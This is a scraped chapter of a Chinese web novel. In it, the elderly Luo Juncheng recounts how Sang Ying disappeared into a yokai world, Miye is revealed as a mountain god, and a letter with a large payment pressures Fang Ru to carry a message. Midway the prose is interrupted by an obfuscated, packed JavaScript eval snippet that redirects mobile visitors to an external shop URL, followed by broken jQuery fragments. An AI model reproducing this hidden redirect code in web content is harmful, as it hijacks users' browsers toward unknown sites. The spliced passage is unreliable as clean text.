文趣网 > 其他小说 > 深山里开了一间甜品屋 > 10. 樱与楝的故事
    方如惊讶于洛君成居然没有和桑樱奶奶一起走,毕竟他深沉的爱意,所有人都有目共睹。

    洛君成背本就佝偻,这种情况下磕头尤为艰难,甚至显得有些滑稽,他额头由于不断的与地面摩擦,已经在往外渗血。

    他还在磕,动作如机械般重复…

    她见不得老人家这样,看不下去了,而且也不想在店门前再生事端,急忙过去搀扶阻止,却被弥野定住了,方如动不了。

    “弥野!快解开!”

    “我不,除非你拒绝他。”

    “那我总得问问桑君原因吧,为什么要摆脱我?为什么去异界找人!?”

    “你真的想知道这些?”弥野见方如眼里的坚定,妄想方如知道这并不美好的故事后能改变瞎参合的想法。

    “当然!”

    “那就让他说吧…”弥野无奈叹气,解开了对方如的定树。

    方如走到洛君成面前扶起他,“您先起来好好说话。”

    她把店里灯打开,泡了三杯茉莉花茶。

    弥野自觉去冰柜里拿出玫瑰荔枝奶冻蛋糕就这茶开吃,三人同坐一个圆桌,弥野坐中间把洛君成和方如隔开。

    三人皆沉默,只时不时听到弥野叉子、勺子和陶瓷盘子碰撞的声音。

    方如把空调温度开得很低,热茶的白雾升起,在雾的氤氲中,洛君成缓缓开口。

    “还要从大概是六七十年起说起吧,时光飞逝,没想到已经这么久了……”

    弥野的耐心有限,他可没时间听这个老头子忆往昔:“别感慨了,直入主题。”

    洛君成笑笑,喝了一口茶,继续讲。

    “我从小就长相丑陋,还是个孤儿。据说生下来把我亲身父母都吓坏了,被丢在田埂上自生自灭,被村里的孤寡老人捡回去养大了。”

    “老人自己生活拮据,能让我吃饱都已经很不错了。但在其他方面比如穿着方面就顾不上了。所以我从小就自卑,村里小孩都不待见我,欺负我,打我骂我孤立我。但只有桑樱,她像个小公主一样总是打扮得漂漂亮亮的,还会保护我,她会和我一起玩,只有她,可以说她是我灰暗童年里的一束光。”

    “直到那年秋天,有一天她和村里几个小女孩一起去深山里捡菌子的时候,除了她所有人都回来了…村里的老人家说她应该是被山里的野兽抓走了,不会再回来了…她家里人甚至要给她立衣冠冢。我不信她死了!我每天都往山里跑,到处搜寻。”

    “大概过了大半年,开春了。某天在山里一棵老苦楝树下,我亲眼看到一只乌鸦领着闭着眼的桑樱从树里出来,洞口就那样凭空出现又消失,之后我还回去过那个苦楝树再也没看见过任何的洞口,我当时想洞口的开合应该都是有条件的。”

    “乌鸦也随着洞口而消失,桑樱倒地昏睡过去,我冲过去,背起桑樱往她家里跑,村里所有人都以为是我救了桑樱,我没有反驳,醒来后的桑樱也闭口不提这段时间发生了什么。桑樱的父母都是村里的老师,还有大她十岁在外地念书的哥哥全都默认是我救了桑樱,虽然冒领的行为卑劣。但不得不说,那算时光,众人看我的眼神有了极大的改观,是为童年为数不多幸福的日子。”

    洛君成说到这里好像陷入了某种回忆里。

    弥野的蛋糕已经空盘了。耐心已经到了极点,他扣扣桌子,“背景这么长?直接说重点。”

    为了堵住弥野的嘴,方如又塞给他一碗水果芋圆刨冰期望他降降火气,拿到吃的,弥野确实乖乖闭嘴。

    方如又端上一盘绿豆糕,示意洛君成继续。

    “哈哈你们年轻人嫌我这个丑老头烦也正常。那我言简意赅的说一下。又过了七八年,桑樱又消失了!应该是刚恢复高考后那年,桑樱刚考上省城的大学!她肯定不是主动的!是绿芜那个大妖怪诱骗她,施了什么见不得人的妖术,并且就在阿樱回来的前天晚上,桑樱全家都被某种神秘力量灭了口,她已到家就看到……我们都怀疑是绿芜干的,目的是为了让阿樱安心留在妖怪世界,可傻阿樱不信,自那以后她整个人就跟丢了魂似的。”

    “那你为什么还要我去找绿芜?你确定他能救樱奶奶??”方如皱眉发问。

    “别的我不敢肯定,但我确实能保证绿芜会救阿樱。”洛君成言辞恳切。

    “那你为什么不去?还有这么多年为什么樱奶奶不去妖怪世界找绿芜?绿芜不能过来吗?”

    “方小姐,去妖怪世界是需要机缘的,我这种人显然没有。而且就算有机缘的人类这一生也只能有四次来去的机会,阿樱她已经用完了。至于绿芜,妖怪的寿命如此漫长,在他上万年的生命长河中,阿樱应该只是记忆里的昙花一现吧…不值得他费心的玩意儿吧。”提到绿芜,洛君成眼里有说不清道不明的嫉妒与恨意。

    方如看不懂洛君成眼里的复杂情绪,“那你凭什么认为我,有机缘?”

    洛君成头转向弥野,话却是对着方如说的:“方小姐,你家世世代代都是神官….更何况,还有您身边这位加成,没有人能比方小姐更有机缘了。您说是吧?山神大人?!”

    方如满脸疑惑,为什么洛君成这么清楚自家底细。姥姥确实说过方家世代都有神官传承,但神力已然式微,到方如这一代已经跟普通人没有差别,方如连姥姥擅长的占卜都不会。

    不过,她震惊转头看向弥野?!他难道不是简单的守庙人吗?!方如上次听严叔说过,也知道弥野大有来头,所以弥野展示一些术法方如也不觉得奇怪。

    但他、、他居然是山神大人??!!

    “够了。别编了。我俩的事情轮不到你指手画脚!呵。方如你有权拒绝,这不管你事,别趟这浑水。”

    弥野把勺子一扔,难得一大碗刨冰还只损耗了一点皮毛。

    他咬牙切齿冷笑,真是大胆!虽然自己也没有刻意隐瞒,但洛君成如此直白的说出来,真是非常不爽呢……

    不是因为这里是人类世界,有山神契约约束,他早就把洛君成这个小喽啰撕碎一万遍了……

    要不晚上把他抓进妖怪世界,是撕碎呢、还是煎、煮好呢?!

    洛君成不躲不闪的对上弥野那怒火重重的眼,面不改色的笑着,五官皱成一团,显得格外的诡异。

    随后他感觉一阵威压袭来,激得他不断的咳嗽,咳得又急又猛,他喝了一大口茶也无济于事,直咳得涕泗横流。

    为了保存体面,他用自己能做到的最快的速度冲出方如的店里,在外面也在不断的咳嗽,直到最后咳出一手帕的血,他还在咳感觉肺和心都要咳出来了,但对麻木许久的他来说,这好像不是惩罚,倒是奖励,至少痛苦有感觉,比麻木更有活着的味道。

    他还在咳…咳着咳着癫狂的大笑了起来,泪水滴答滴答打湿了胸前。<

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17725398|208838||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    p>方如皱眉看着,心里很不是滋味,有种说不出的感觉,但她最终并没有上前,就静静等着。

    许久之后,洛君成进来告辞,凌乱的样子比平时略显狼狈。

    “方小姐,这是妖怪世界的钥匙,请收好。你不用立马做出决定,可以慢慢考虑考虑。”

    洛君成把钥匙放在店里的桌上就起身走了,方如视力很好,所谓钥匙她很眼熟,就是一直戴在桑樱头上的那枚宝贝发卡,还是那样的闪耀夺目,只是她那优雅美丽的主人正在病床上与病魔搏斗…

    当天晚上,弥野就赖在方如店里了,像个老妈子一样一直劝方如不准去,缠着方如答应他,还说自己肯定不会带方如去的,自己也不会去,说哪里简直就是魔窟,一个小妖怪每天都要吃20个人类,方如这个小身板去了还不够小妖怪塞牙缝,就更别说大妖怪了!

    方如被弥野念经念烦了,强行转移话题,“晚饭你想吃点什么好吃的?

    提到好吃的,弥野眼睛都亮了,话题马上被方如带偏开始在网上搜菜名,一边如连珠炮一样播报菜名:“清蒸鲈鱼,佛跳墙,山东狮子头,红烧排骨、地锅鸡……”(ps:弥野自学能力很快,在沈言旭老师的教导下已经彻底迷上了手机,老古董变弄潮儿。)

    方如也被弥野的样子逗笑了,“你想的美,没这么多食材!我做什么你就吃什么吧!”

    大饕餮——弥野偃旗息鼓人输,不过当晚以要看着方如保护她不准她乱跑去找洛君成而强行赖在方如家扳回一局,方如家空房间很多,但弥野偏要住方如卧室旁边那间,美其名曰贴身保护,其实是弥野也很想一睁眼就看到和方如一样的景色。

    当晚睡前,方如收到一封署名为洛桑的邮件,她点开前还有点紧张,她确定自己的营业执照都严格参照了国家食品安全标准,但也不确定金牌律师是不是真的能火眼金睛、明察秋毫到漏洞。

    但并不是方如预想的律师的起诉单。

    而是一张照片,上面是在ICU重症监护室隔着玻璃拍的躺在病床上的桑樱奶奶,整个人苍白瘦削和第一次见面时生动美丽的样子简直判若两人,她双眼紧闭眉头微皱,全身都插着管子,床边全是机器。

    附上一封扫描的手写信件,钢笔字迹工整苍劲有力,笔锋犀利,一看就是洛桑的字。

    【方小姐您好:

    首先想向您道歉,见面时鄙人不清楚情况,贸然评价您多有得罪,烦请您能原谅。

    家母病重,但清醒时仍挂念您,感谢您时常对家母的陪伴。

    虽知因此事叨扰您多有不妥,思虑再三,还是厚脸皮请求拜托您一事。家母桑樱现已病入膏肓,多位名医专家皆以回天乏术,但仍有心事未了。

    请问您是否愿意帮家母给她的爱人绿芜先生带一句话:“我永远爱你。”

    若有任何可能鄙人都想代替您为家母实现夙愿。但此事可能只有您能办到,不过请别有太大压力,无论您是否答应,我及家母桑樱都尊重您的一切选择。

    洛桑诚致】

    后面还有一条小字补充,之前洛爸爸给您的包月银行卡里有500万请求费,定金200万已经到账,后续事成之后会补齐。

    方如查看手机,洛君成给的那张卡确实已经收到了200万,她头更大了。这是先斩后奏,看似客气实则她选择并不多,她有钱拿但有没有命花还真是个好问题!